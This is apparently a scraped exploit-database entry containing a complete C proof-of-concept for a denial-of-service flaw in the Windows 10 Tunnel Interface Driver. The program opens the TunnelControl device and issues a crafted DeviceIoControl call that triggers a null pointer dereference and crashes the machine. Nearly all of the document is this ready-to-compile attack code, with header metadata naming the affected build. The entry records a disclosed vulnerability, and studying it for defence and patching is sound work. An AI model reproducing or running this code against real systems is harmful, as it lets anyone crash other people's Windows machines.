Exploit for Tunnel Interface Driver Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:171551
// Exploit Title: Tunnel Interface Driver - Denial of Service  
// Date: 07/15/2022  
// Exploit Author: ExAllocatePool2  
// Vendor Homepage: https://www.microsoft.com/  
// Software Link: https://www.microsoft.com/en-us/software-download/windows10  
// Version: Windows 10 Pro Version 21H2 (OS Build 19044.1288)  
// Tested on: Microsoft Windows  
// GitHub Repository: https://github.com/Exploitables/MSRC-1  
  
#include <Windows.h>  
#include <stdio.h>  
  
#define TARGET_DEVICE "\\\\.\\GLOBALROOT\\Device\\TunnelControl"  
  
int main(int argc, char** argv);  
  
int main(int argc, char** argv)  
{  
HANDLE h_driver = CreateFileA(TARGET_DEVICE, 0x80, 0, 0, OPEN_EXISTING, 0, 0);  
unsigned long long input_output = 0x4242424242424242;  
unsigned long bytes_returned = 0x43434343;  
unsigned char unused = 0;  
  
SetConsoleTitleA("https://msrc.microsoft.com/");  
  
printf("[*] Microsoft Security and Response Center Report #1\n[*] Microsoft Tunnel Interface Driver Null Pointer Dereference Denial of Service Vulnerability\n[*] Exploit written by ExAllocatePool2\n[!] Let's exploit!");  
  
if (h_driver == (HANDLE)-1)  
{  
printf("\n[-] Failed to obtain a handle to the vulnerable device driver. Error: %d (0x%x)", GetLastError(), GetLastError());  
unused = getchar();  
return 1;  
}  
printf("\n[+] Obtained a handle to the vulnerable device driver. Handle Value: 0x%p", h_driver);  
  
printf("\n[!] Triggering a denial of service via arbitrary read in 3...");  
for (int i = 2; i > 0; i--)  
{  
Sleep(1000);  
printf("\n[!] %d...", i);  
}  
  
DeviceIoControl(h_driver, 0, &input_output, 8, &input_output, 8, &bytes_returned, 0);  
  
unused = getchar();  
printf("\n[-] Exploit failed. The machine should have crashed.");  
return 0;  
}